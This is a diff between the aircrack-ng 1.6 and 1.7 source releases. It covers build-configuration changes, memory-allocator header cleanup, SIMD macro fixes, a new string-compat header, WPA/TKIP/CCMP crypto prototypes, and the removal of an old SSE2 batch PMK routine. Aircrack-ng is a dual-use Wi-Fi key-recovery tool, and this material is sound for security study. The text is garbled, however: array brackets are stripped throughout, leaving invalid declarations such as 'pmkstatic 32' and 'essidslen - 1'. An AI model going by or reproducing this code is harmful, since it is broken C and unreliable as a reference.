+AC_CHECK_HEADERS(locale.h stdio.h stdarg.h fcntl.h malloc.h stdlib.h string.h strings.h unistd.h sys/stat.h getopt.h sys/time.h sys/types.h dirent.h)
 
 #
 # Set versioning detail
@@ -146,11 +157,12 @@
 # Extras, but needed
 #
 AIRCRACK_NG_LARGEFILE
-AX_ADD_FORTIFY_SOURCE
+dnl AX_ADD_FORTIFY_SOURCE
 AIRCRACK_NG_PTHREAD
 AX_LIB_SOCKET_NSL
 AC_CHECK_LIB(dl, dlopen,  LIBS="$LIBS -ldl" , :)
 AC_CHECK_LIB(m, sin,  LIBS="$LIBS -lm" , :)
+AIRCRACK_NG_COMPAT
 saved_cflags="$CFLAGS"
 CFLAGS=""
 AC_CHECK_FUNCS(posix_memalign aligned_alloc memalign __mingw_aligned_malloc _aligned_malloc, break)
@@ -162,11 +174,6 @@
 AIRCRACK_NG_CODE_COVERAGE
 
 #
-# Valgrind Support
-#
-AX_VALGRIND_CHECK
-
-#
 # Compiler set-up
 #
 AIRCRACK_NG_COMPILER_C
@@ -211,6 +218,7 @@
 CFLAGS="$opt_cflags $CFLAGS"
 CPPFLAGS="$opt_cppflags $CPPFLAGS"
 CXXFLAGS="$opt_cxxflags $CXXFLAGS"
+LDFLAGS="$opt_ldflags $LDFLAGS"
 LIBS="$opt_libs $LIBS"
 
 #
@@ -218,7 +226,7 @@
 #
 AC_CONFIG_FILES(
 Makefile
-VERSION
+AC_VERSION
 
 include/aircrack-ng/version.h
 
@@ -286,12 +294,14 @@
     Optimized CFLAGS:            ${opt_cflags}
     Optimized CXXFLAGS:          ${opt_cxxflags}
     Optimized CPPFLAGS:          ${opt_cppflags}
+    Optimized LDFLAGS:           ${opt_ldflags}
     Optimized LIBS:              ${opt_libs}
 
   Target Environment:
     OS:                          ${OS}
     ASAN:                        ${asan}
     CPU L1 cache-line size:      ${CACHELINE_SIZE}
+    LTO                          ${with_lto:-no}
 
   Crypto Libraries:
     Crypto Engine:               ${CRYPTO_TYPE}

aircrack-ng-1.6.tar.gz/evalrev -> aircrack-ng-1.7.tar.gz/evalrev Changed

aircrack-ng-1.6.tar.gz/include/Makefile.inc -> aircrack-ng-1.7.tar.gz/include/Makefile.inc Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/adt/circular_buffer.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/adt/circular_buffer.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/adt/circular_queue.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/adt/circular_queue.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/aircrack-ng.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/aircrack-ng.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa/crypto_engine.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/ce-wpa/crypto_engine.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa/memory.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/ce-wpa/memory.h Changed

@@ -126,37 +126,13 @@
  * Allocates size bytes and returns a pointer to the allocated memory.
  * If an error occurs, the function does not return.
  */
-extern void * mem_alloc_func(size_t size
-#if defined(MEMDBG_ON)
-							 ,
-							 char * file,
-							 int line
-#endif
-							 );
+extern void * mem_alloc_func(size_t size);
 /*
  * this version same as mem_alloc, but initialized the memory
  * to NULL bytes, like CALLOC(3) function does
  */
-extern void * mem_calloc_func(size_t count,
-							  size_t size
-#if defined(MEMDBG_ON)
-							  ,
-							  char * file,
-							  int line
-#endif
-							  );
+extern void * mem_calloc_func(size_t count, size_t size);
 
-#if defined(MEMDBG_ON)
-#define mem_alloc(a) mem_alloc_func(a, __FILE__, __LINE__)
-#define mem_calloc(a, b) mem_calloc_func(a, b, __FILE__, __LINE__)
-#define mem_alloc_tiny(a, b) mem_alloc_tiny_func(a, b, __FILE__, __LINE__)
-#define mem_calloc_tiny(a, b) mem_calloc_tiny_func(a, b, __FILE__, __LINE__)
-#define mem_alloc_copy(a, b, c) mem_alloc_copy_func(a, b, c, __FILE__, __LINE__)
-#define str_alloc_copy(a) str_alloc_copy_func(a, __FILE__, __LINE__)
-#define mem_alloc_align(a, b) mem_alloc_align_func(a, b, __FILE__, __LINE__)
-#define mem_calloc_align(a, b, c)                                              \
-	mem_calloc_align_func(a, b, c, __FILE__, __LINE__)
-#else
 #define mem_alloc(a) mem_alloc_func(a)
 #define mem_calloc(a, b) mem_calloc_func(a, b)
 #define mem_alloc_tiny(a, b) mem_alloc_tiny_func(a, b)
@@ -165,27 +141,11 @@
 #define str_alloc_copy(a) str_alloc_copy_func(a)
 #define mem_alloc_align(a, b) mem_alloc_align_func(a, b)
 #define mem_calloc_align(a, b, c) mem_calloc_align_func(a, b, c)
-#endif
 
 /* These allow alignment and are wrappers to system-specific functions */
-void * mem_alloc_align_func(size_t size,
-							size_t align
-#if defined(MEMDBG_ON)
-							,
-							char * file,
-							int line
-#endif
-							);
+void * mem_alloc_align_func(size_t size, size_t align);
 
-void * mem_calloc_align_func(size_t count,
-							 size_t size,
-							 size_t align
-#if defined(MEMDBG_ON)
-							 ,
-							 char * file,
-							 int line
-#endif
-							 );
+void * mem_calloc_align_func(size_t count, size_t size, size_t align);
 
 /*
  * Frees memory allocated with mem_alloc() and sets the pointer to NULL.
@@ -194,7 +154,6 @@
 #undef MEM_FREE
 
 #ifdef _MSC_VER
-#if !defined(MEMDBG_ON)
 #define strdup(a) strdup_MSVC(a)
 char * strdup_MSVC(const char * str);
 #define MEM_FREE(ptr)                                                          \
@@ -205,16 +164,6 @@
 			(ptr) = NULL;                                                      \
 		}                                                                      \
 	}
-#else
-#define MEM_FREE(ptr)                                                          \
-	{                                                                          \
-		if ((ptr))                                                             \
-		{                                                                      \
-			MEMDBG_free(((const void *) ptr), __FILE__, __LINE__);             \
-			(ptr) = NULL;                                                      \
-		}                                                                      \
-	}
-#endif
 
 #else
 #define MEM_FREE(ptr)                                                          \
@@ -231,51 +180,23 @@
  * Similar to the above function, except the memory can't be freed.
  * This one is used to reduce the overhead.
  */
-extern void * mem_alloc_tiny_func(size_t size,
-								  size_t align
-#if defined(MEMDBG_ON)
-								  ,
-								  char * file,
-								  int line
-#endif
-								  );
+extern void * mem_alloc_tiny_func(size_t size, size_t align);
 
 /*
  * this version same as mem_alloc_tiny, but initialized the memory
  * to NULL bytes, like CALLOC(3) function does
  */
-extern void * mem_calloc_tiny_func(size_t size,
-								   size_t align
-#if defined(MEMDBG_ON)
-								   ,
-								   char * file,
-								   int line
-#endif
-								   );
+extern void * mem_calloc_tiny_func(size_t size, size_t align);
 
 /*
  * Uses mem_alloc_tiny() to allocate the memory, and copies src in there.
  */
-extern void * mem_alloc_copy_func(void * src,
-								  size_t size,
-								  size_t align
-#if defined(MEMDBG_ON)
-								  ,
-								  char * file,
-								  int line
-#endif
-								  );
+extern void * mem_alloc_copy_func(void * src, size_t size, size_t align);
 
 /*
  * Similar to the above function, but for ASCIIZ strings.
  */
-extern char * str_alloc_copy_func(char * src
-#if defined(MEMDBG_ON)
-								  ,
-								  char * file,
-								  int line
-#endif
-								  );
+extern char * str_alloc_copy_func(char * src);
 
 /*
  * This will 'cleanup' the memory allocated by mem_alloc_tiny().  All

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa/pseudo_intrinsics.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/ce-wpa/pseudo_intrinsics.h Changed

@@ -94,8 +94,8 @@
 #define vor vorrq_u32
 #define vorn vornq_u32
 #define vroti_epi32(x, i)                                                      \
-	(i > 0 ? vsliq_n_u32(vshrq_n_u32(x, 32 - (i)), x, i)                       \
-		   : vsriq_n_u32(vshlq_n_u32(x, 32 + (i)), x, -(i)))
+	(i > 0 ? vsliq_n_u32(vshrq_n_u32(x, (32 - ((i) &31)) & 31), x, (i) &31)    \
+		   : vsriq_n_u32(vshlq_n_u32(x, (32 + ((i) &31)) & 31), x, -(i) &31))
 #define vroti_epi64(x, i)                                                      \
 	(i > 0 ? (vtype) vsliq_n_u64(                                              \
 				 vshrq_n_u64((vtype64)(x), 64 - (i)), (vtype64)(x), i)         \
@@ -370,7 +370,8 @@
 
 /* MIC lacks some intrinsics in AVX512F, thus needing emulation. */
 #if __MIC__
-#define _mm512_set1_epi8(x) _mm512_set1_epi32(x | x << 8 | x << 16 | x << 24)
+#define _mm512_set1_epi8(x)                                                    \
+	_mm512_set1_epi32((x) | (x) << 8 | (x) << 16 | (x) << 24)
 
 static inline __m512i _mm512_loadu_si512(void const * addr)
 {

aircrack-ng-1.7.tar.gz/include/aircrack-ng/compat.h Added

@@ -0,0 +1,64 @@
+/**
+ * Copyright (C) 2020-2022 Joseph Benden <joe@benden.us>
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ **/
+
+#ifndef AIRCRACK_NG_COMPAT_H
+#define AIRCRACK_NG_COMPAT_H
+
+#include <stdint.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#ifdef HAVE_BSD_STRING_H
+#include <bsd/string.h>
+#endif
+
+#if !defined(HAVE_STRLCAT) && !defined(__APPLE__) && !defined(__MACH__)
+/**
+ * Appends src to string dst of size dsize (unlike strncat, dsize is the
+ * full size of dst, not space left).  At most dsize-1 characters
+ * will be copied.  Always NUL terminates (unless dsize <= strlen(dst)).
+ * Returns strlen(src) + MIN(dsize, strlen(initial dst)).
+ * If retval >= dsize, truncation occurred.
+ */
+API_IMPORT size_t strlcat(char * restrict dst,
+						  const char * restrict src,
+						  size_t dsize);
+#endif
+
+#if !defined(HAVE_STRLCPY) && !defined(__APPLE__) && !defined(__MACH__)
+/**
+ * Copy string src to buffer dst of size dsize.  At most dsize-1
+ * chars will be copied.  Always NUL terminates (unless dsize == 0).
+ * Returns strlen(src); if retval >= dsize, truncation occurred.
+ */
+API_IMPORT size_t strlcpy(char * restrict dst,
+						  const char * restrict src,
+						  size_t dsize);
+#endif
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/cowpatty/cowpatty.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/cowpatty/cowpatty.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/cpu/cpuset.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/cpu/cpuset.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/cpu/trampoline.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/cpu/trampoline.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/crypto/crypto.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/crypto/crypto.h Changed

@@ -124,15 +124,15 @@
 
 struct AP_info;
 
-void calc_pmk(char * key, char * essid, unsigned char pmk40);
+void calc_pmk(char * key, char * essid, unsigned char pmkstatic 40);
 int decrypt_wep(unsigned char * data, int len, unsigned char * key, int keylen);
 int encrypt_wep(unsigned char * data, int len, unsigned char * key, int keylen);
 int check_crc_buf(const unsigned char * buf, int len);
 int calc_crc_buf(const unsigned char * buf, int len);
 void calc_mic(struct AP_info * ap,
-			  unsigned char * pmk,
-			  unsigned char * ptk,
-			  unsigned char * mic);
+			  unsigned char pmkstatic 32,
+			  unsigned char ptkstatic 80,
+			  unsigned char micstatic 20);
 int known_clear(
 	void * clear, int * clen, int * weight, unsigned char * wh, size_t len);
 int add_crc32(unsigned char * data, int length);
@@ -142,25 +142,25 @@
 int is_qos_arp_tkip(void * wh, int len);
 int calc_tkip_ppk(unsigned char * h80211,
 				  int caplen,
-				  unsigned char TK116,
-				  unsigned char key16);
-void encrypt_tkip(unsigned char * h80211, int caplen, unsigned char PTK80);
-int decrypt_tkip(unsigned char * h80211, int caplen, unsigned char TK116);
+				  unsigned char TK1static 16,
+				  unsigned char keystatic 16);
+void encrypt_tkip(unsigned char * h80211, int caplen, unsigned char PTKstatic 80);
+int decrypt_tkip(unsigned char * h80211, int caplen, unsigned char TK1static 16);
 int encrypt_ccmp(unsigned char * h80211,
 				 int caplen,
-				 unsigned char TK116,
-				 unsigned char PN6);
-int decrypt_ccmp(unsigned char * h80211, int caplen, unsigned char TK116);
-int calc_ptk(struct WPA_ST_info * wpa, unsigned char pmk32);
+				 unsigned char TK1static 16,
+				 unsigned char PNstatic 6);
+int decrypt_ccmp(unsigned char * h80211, int caplen, unsigned char TK1static 16);
+int calc_ptk(struct WPA_ST_info * wpa, unsigned char pmkstatic 32);
 int calc_tkip_mic(unsigned char * packet,
 				  int length,
-				  unsigned char ptk80,
-				  unsigned char value8);
-int michael_test(unsigned char key8,
+				  unsigned char ptkstatic 80,
+				  unsigned char valuestatic 8);
+int michael_test(unsigned char keystatic 8,
 				 unsigned char * message,
 				 int length,
-				 unsigned char out8);
-int calc_tkip_mic_key(unsigned char * packet, int length, unsigned char key8);
+				 unsigned char outstatic 8);
+int calc_tkip_mic_key(unsigned char * packet, int length, unsigned char keystatic 8);
 
 extern const unsigned long int crc_tbl256;
 extern const unsigned char crc_chop_tbl2564;

aircrack-ng-1.6.tar.gz/include/aircrack-ng/crypto/sha1-sse2.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/crypto/sha1-sse2.h Changed

@@ -36,357 +36,3 @@
 #include <time.h>
 
 #include <aircrack-ng/crypto/crypto.h>
-
-#if defined(__i386__) || ((defined(__x86_64__) && !defined(__CYGWIN__))        \
-						  || (defined(__x86_64__) && defined(__CYGWIN__)       \
-							  && !defined(__clang__)))
-
-#ifdef OLD_SSE_CORE
-void show_result(char * key, unsigned char * pmk)
-{
-	int i;
-	printf("%-14s ", key);
-	for (i = 0; i < 32; i++) printf("%.2X", pmki);
-	printf("\n");
-}
-
-#endif
-extern int shasse2_init(unsigned char ctx80) __attribute__((regparm(1)));
-
-extern int shasse2_ends(unsigned char ctx80, unsigned char digests80)
-	__attribute__((regparm(2)));
-
-extern int shasse2_data(unsigned char ctx80,
-						unsigned char data256,
-						unsigned char buf1280) __attribute__((regparm(3)));
-
-extern int shasse2_cpuid(void);
-
-#ifdef OLD_SSE_CORE
-void calc_4pmk(char * _key1,
-			   char * _key2,
-			   char * _key3,
-			   char * _key4,
-			   char * _essid,
-			   unsigned char * _pmk1,
-			   unsigned char * _pmk2,
-			   unsigned char * _pmk3,
-			   unsigned char * _pmk4)
-{
-	int slen;
-	char essid36 __attribute__((aligned(16)));
-	char key1128 __attribute__((aligned(16)));
-	char key2128 __attribute__((aligned(16)));
-	char key3128 __attribute__((aligned(16)));
-	char key4128 __attribute__((aligned(16)));
-	unsigned char pmks128 * 4 __attribute__((aligned(16)));
-
-	// All in double size
-	unsigned char k_ipad256 __attribute__((aligned(16)));
-	unsigned char ctx_ipad80 __attribute__((aligned(16)));
-	unsigned char k_opad256 __attribute__((aligned(16)));
-	unsigned char ctx_opad80 __attribute__((aligned(16)));
-	unsigned char buffer256 __attribute__((aligned(16)));
-	unsigned char sha1_ctx80 __attribute__((aligned(16)));
-	unsigned char wrkbuf1280 __attribute__((aligned(16)));
-	unsigned i, *u, *v, *w, *u3, *v4;
-	unsigned char *pmk1, *pmk2, *pmk3, *pmk4;
-
-	pmk1 = pmks;
-	pmk2 = pmks + 128;
-	pmk3 = pmks + 128 * 2;
-	pmk4 = pmks + 128 * 3;
-
-	memset(key1, 0, sizeof(key1));
-	memset(key2, 0, sizeof(key2));
-	memset(key3, 0, sizeof(key3));
-	memset(key4, 0, sizeof(key4));
-	memset(essid, 0, sizeof(essid));
-	memset(pmks, 0, sizeof(pmks));
-	memset(buffer, 0, sizeof(buffer));
-	memset(wrkbuf, 0, sizeof(wrkbuf));
-
-	memccpy(essid, _essid, 0, sizeof(essid));
-	memccpy(key1, _key1, 0, sizeof(key1));
-	memccpy(key2, _key2, 0, sizeof(key2));
-	memccpy(key3, _key3, 0, sizeof(key3));
-	memccpy(key4, _key4, 0, sizeof(key4));
-
-	slen = strlen(essid) + 4;
-
-	/* SSE2 available, so compute four PMKs in a single row */
-
-	memset(k_ipad, 0, sizeof(k_ipad));
-	memset(k_opad, 0, sizeof(k_opad));
-
-	memcpy(k_ipad, key1, strlen(key1));
-	memcpy(k_opad, key1, strlen(key1));
-
-	memcpy(k_ipad + 64, key2, strlen(key2));
-	memcpy(k_opad + 64, key2, strlen(key2));
-
-	memcpy(k_ipad + 128, key3, strlen(key3));
-	memcpy(k_opad + 128, key3, strlen(key3));
-
-	memcpy(k_ipad + 192, key4, strlen(key4));
-	memcpy(k_opad + 192, key4, strlen(key4));
-
-	u = (unsigned *) (k_ipad);
-	v = (unsigned *) (k_ipad + 64);
-	u3 = (unsigned *) (k_ipad + 128);
-	v4 = (unsigned *) (k_ipad + 192);
-	w = (unsigned *) buffer;
-
-	for (i = 0; i < 16; i++)
-	{
-		/* interleave the data */
-
-		*w++ = *u++ ^ 0x36363636;
-		*w++ = *v++ ^ 0x36363636;
-		*w++ = *u3++ ^ 0x36363636;
-		*w++ = *v4++ ^ 0x36363636;
-	}
-
-	shasse2_init(ctx_ipad);
-	shasse2_data(ctx_ipad, buffer, wrkbuf);
-
-	u = (unsigned *) (k_opad);
-	v = (unsigned *) (k_opad + 64);
-	u3 = (unsigned *) (k_opad + 128);
-	v4 = (unsigned *) (k_opad + 192);
-	w = (unsigned *) buffer;
-
-	for (i = 0; i < 16; i++)
-	{
-		*w++ = *u++ ^ 0x5C5C5C5C;
-		*w++ = *v++ ^ 0x5C5C5C5C;
-		*w++ = *u3++ ^ 0x5C5C5C5C;
-		*w++ = *v4++ ^ 0x5C5C5C5C;
-	}
-
-	shasse2_init(ctx_opad);
-	shasse2_data(ctx_opad, buffer, wrkbuf);
-
-	memset(buffer, 0, sizeof(buffer));
-
-	buffer80 = buffer84 = buffer88 = buffer92 = 0x80;
-	buffer242 = buffer246 = buffer250 = buffer254 = 0x02;
-	buffer243 = buffer247 = buffer251 = buffer255 = 0xA0;
-
-	essidslen - 1 = '\1';
-
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key1,
-		 strlen(key1),
-		 (unsigned char *) essid,
-		 slen,
-		 pmk1,
-		 NULL);
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key2,
-		 strlen(key2),
-		 (unsigned char *) essid,
-		 slen,
-		 pmk2,
-		 NULL);
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key3,
-		 strlen(key3),
-		 (unsigned char *) essid,
-		 slen,
-		 pmk3,
-		 NULL);
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key4,
-		 strlen(key4),
-		 (unsigned char *) essid,
-		 slen,
-		 pmk4,
-		 NULL);
-
-	u = (unsigned *) pmk1;
-	v = (unsigned *) pmk2;
-	u3 = (unsigned *) pmk3;
-	v4 = (unsigned *) pmk4;
-	w = (unsigned *) buffer;
-
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-
-	for (i = 1; i < 4096; i++)
-	{
-		memcpy(sha1_ctx, ctx_ipad, 80); // eran 40
-		shasse2_data(sha1_ctx, buffer, wrkbuf);
-		shasse2_ends(sha1_ctx, buffer);
-
-		memcpy(sha1_ctx, ctx_opad, 80);
-		shasse2_data(sha1_ctx, buffer, wrkbuf);
-		shasse2_ends(sha1_ctx, buffer);
-
-		u = (unsigned *) pmk1;
-		v = (unsigned *) pmk2;
-		u3 = (unsigned *) pmk3;
-		v4 = (unsigned *) pmk4;
-		w = (unsigned *) buffer;
-
-		/* de-interleave the digests */
-		*u++ ^= *w++;
-		*v++ ^= *w++;
-		*u3++ ^= *w++;
-		*v4++ ^= *w++;
-		*u++ ^= *w++;
-		*v++ ^= *w++;
-		*u3++ ^= *w++;
-		*v4++ ^= *w++;
-		*u++ ^= *w++;
-		*v++ ^= *w++;
-		*u3++ ^= *w++;
-		*v4++ ^= *w++;
-		*u++ ^= *w++;
-		*v++ ^= *w++;
-		*u3++ ^= *w++;
-		*v4++ ^= *w++;
-		*u++ ^= *w++;
-		*v++ ^= *w++;
-		*u3++ ^= *w++;
-		*v4++ ^= *w++;
-	}
-
-	essidslen - 1 = '\2';
-
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key1,
-		 strlen(key1),
-		 (unsigned char *) essid,
-		 slen,
-		 pmk1 + 20,
-		 NULL);
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key2,
-		 strlen(key2),
-		 (unsigned char *) essid,
-		 slen,
-		 pmk2 + 20,
-		 NULL);
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key3,
-		 strlen(key3),
-		 (unsigned char *) essid,
-		 slen,
-		 pmk3 + 20,
-		 NULL);
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key4,
-		 strlen(key4),
-		 (unsigned char *) essid,
-		 slen,
-		 pmk4 + 20,
-		 NULL);
-
-	u = (unsigned *) (pmk1 + 20); // eran 20
-	v = (unsigned *) (pmk2 + 20);
-	u3 = (unsigned *) (pmk3 + 20); // eran 20
-	v4 = (unsigned *) (pmk4 + 20);
-	w = (unsigned *) buffer;
-
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-	*w++ = *u++;
-	*w++ = *v++;
-	*w++ = *u3++;
-	*w++ = *v4++;
-
-	for (i = 1; i < 4096; i++)
-	{
-		memcpy(sha1_ctx, ctx_ipad, 80); // eran 40
-		shasse2_data(sha1_ctx, buffer, wrkbuf);
-		shasse2_ends(sha1_ctx, buffer);
-
-		memcpy(sha1_ctx, ctx_opad, 80);
-		shasse2_data(sha1_ctx, buffer, wrkbuf);
-		shasse2_ends(sha1_ctx, buffer);
-
-		u = (unsigned *) (pmk1 + 20); // eran 20
-		v = (unsigned *) (pmk2 + 20);
-		u3 = (unsigned *) (pmk3 + 20);
-		v4 = (unsigned *) (pmk4 + 20);
-		w = (unsigned *) buffer;
-
-		*u++ ^= *w++;
-		*v++ ^= *w++;
-		*u3++ ^= *w++;
-		*v4++ ^= *w++;
-		*u++ ^= *w++;
-		*v++ ^= *w++;
-		*u3++ ^= *w++;
-		*v4++ ^= *w++;
-		*u++ ^= *w++;
-		*v++ ^= *w++;
-		*u3++ ^= *w++;
-		*v4++ ^= *w++;
-	}
-
-	memcpy(_pmk3, pmk3, 32);
-	memcpy(_pmk4, pmk4, 32);
-	memcpy(_pmk1, pmk1, 32);
-	memcpy(_pmk2, pmk2, 32);
-
-	/*printf("\n");
-	show_result(_key1, _pmk1);
-	show_result(_key2, _pmk2);
-	show_result(_key3, _pmk3);
-	show_result(_key4, _pmk4);
-	fflush(stdout);*/
-}
-#endif
-#else
-#ifdef OLD_SSE_CORE
-void calc_4pmk(char * _key1,
-			   char * _key2,
-			   char * _key3,
-			   char * _key4,
-			   char * _essid,
-			   unsigned char * _pmk1,
-			   unsigned char * _pmk2,
-			   unsigned char * _pmk3,
-			   unsigned char * _pmk4)
-{
-	calc_pmk(_key1, _essid, _pmk1);
-	calc_pmk(_key2, _essid, _pmk2);
-	calc_pmk(_key3, _essid, _pmk3);
-	calc_pmk(_key4, _essid, _pmk4);
-}
-#endif
-#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/defs.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/defs.h Changed

@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018-2020 Joseph Benden <joe@benden.us>
+ * Copyright (C) 2018-2022 Joseph Benden <joe@benden.us>
  *
  * Permission is hereby granted, free of charge, to any person obtaining a
  * copy of this software and associated documentation files (the "Software"),
@@ -31,6 +31,12 @@
 #include <string.h>
 #include <assert.h>
 
+// PVS-Studio warning opt-outs:
+//-V:ALLEGE:547
+//-V:REQUIRE:547
+//-V:ENSURE:547
+//-V:INVARIANT:547
+
 // NOTE(jbenden): These macros violates MISRA C:2012. 20.10 - The #
 // and ## preprocessor operators should not be used.
 #define ALLEGE(c)                                                              \
@@ -111,6 +117,30 @@
 #define unlikely(x) (x)
 #endif
 
+#if defined(HAS_ATTRIBUTE)
+#undef HAS_ATTRIBUTE
+#endif
+#if defined(__has_attribute)
+#define HAS_ATTRIBUTE(attribute) __has_attribute(attribute)
+#else
+#define HAS_ATTRIBUTE(attribute) (0)
+#endif
+
+#if defined(fallthrough)
+#undef fallthrough
+#endif
+#if defined(__GNUC__) && __GNUC__ >= 11 && !defined(__INTEL_COMPILER)       \
+		&& !defined(__llvm__) && !defined(__clang__)
+#define fallthrough __attribute__((fallthrough))
+#elif HAS_ATTRIBUTE(fallthrough)                                                 \
+	|| (defined(__GNUC__) && __GNUC__ >= 7 && !defined(__INTEL_COMPILER)       \
+		&& !defined(__llvm__)                                                  \
+		&& !defined(__clang__))
+#define fallthrough __attribute__((__fallthrough__))
+#else
+#define fallthrough
+#endif
+
 #define UNUSED_PARAM(x) (void) x
 
 #ifdef UNUSED
@@ -124,6 +154,8 @@
 
 #define ArrayCount(a) (sizeof((a)) / sizeof((a)0))
 
+#define THREAD_ENTRY(fn) void * __attribute__((noinline)) fn(void * arg)
+
 #define IGNORE_LTZ(c)                                                          \
 	do                                                                         \
 	{                                                                          \
@@ -171,7 +203,7 @@
 	} while (0)
 
 #if __STDC_VERSION__ >= 199901L
-#define DO_PRAGMA(x) _Pragma (#x)
+#define DO_PRAGMA(x) _Pragma(#x)
 #else
 #define DO_PRAGMA(x)
 #endif
@@ -184,6 +216,8 @@
 #define UNROLL_LOOP_N_TIME(n)
 #endif
 
+#include <aircrack-ng/compat.h>
+
 #ifdef __cplusplus
 extern "C" {
 #endif
@@ -194,7 +228,7 @@
 }
 
 #define destroy(var, fn)                                                       \
-	({                                                                         \
+	__extension__({                                                            \
 		if ((var) != NULL)                                                     \
 		{                                                                      \
 			fn((__typeof__(var))(var));                                        \

aircrack-ng-1.6.tar.gz/include/aircrack-ng/osdep/byteorder.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/osdep/byteorder.h Changed

@@ -1,7 +1,7 @@
 /*
  *  Compatibility header
  *
- *  Copyright (C) 2009-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2009-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *
  *  This program is free software; you can redistribute it and/or modify
  *  it under the terms of the GNU General Public License as published by
@@ -74,11 +74,27 @@
 #include <stdint.h>
 
 #ifndef __int8_t_defined
-typedef uint64_t u_int64_t;
-typedef uint32_t u_int32_t;
-typedef uint16_t u_int16_t;
-typedef uint8_t u_int8_t;
+typedef uint64_t u_int64_t; //-V677
+typedef uint32_t u_int32_t; //-V677
+typedef uint16_t u_int16_t; //-V677
+typedef uint8_t u_int8_t; //-V677
+#endif
+
+#if defined(__UCLIBC__)
+#include <asm/byteorder.h>
+
+#define AIRCRACK_NG_BYTE_ORDER_DEFINED
 #endif
+#endif
+
+/*
+	 * Android/termux
+	 */
+#if defined(__ANDROID__)
+#include <asm/byteorder.h>
+#include <unistd.h>
+
+#define AIRCRACK_NG_BYTE_ORDER_DEFINED
 
 #endif
 
@@ -236,7 +252,8 @@
 #endif
 
 // FreeBSD
-#if defined(__FreeBSD__) || defined(__DragonFly__) || defined(__OpenBSD__) || defined(__MidnightBSD__) || defined(__NetBSD__)
+#if defined(__FreeBSD__) || defined(__DragonFly__) || defined(__OpenBSD__)     \
+	|| defined(__MidnightBSD__) || defined(__NetBSD__)
 #undef ushort
 #undef uint
 #include <sys/types.h>

aircrack-ng-1.6.tar.gz/include/aircrack-ng/osdep/channel.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/osdep/channel.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/osdep/common.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/osdep/common.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/osdep/network.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/osdep/network.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/support/common.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/support/common.h Changed

@@ -42,6 +42,8 @@
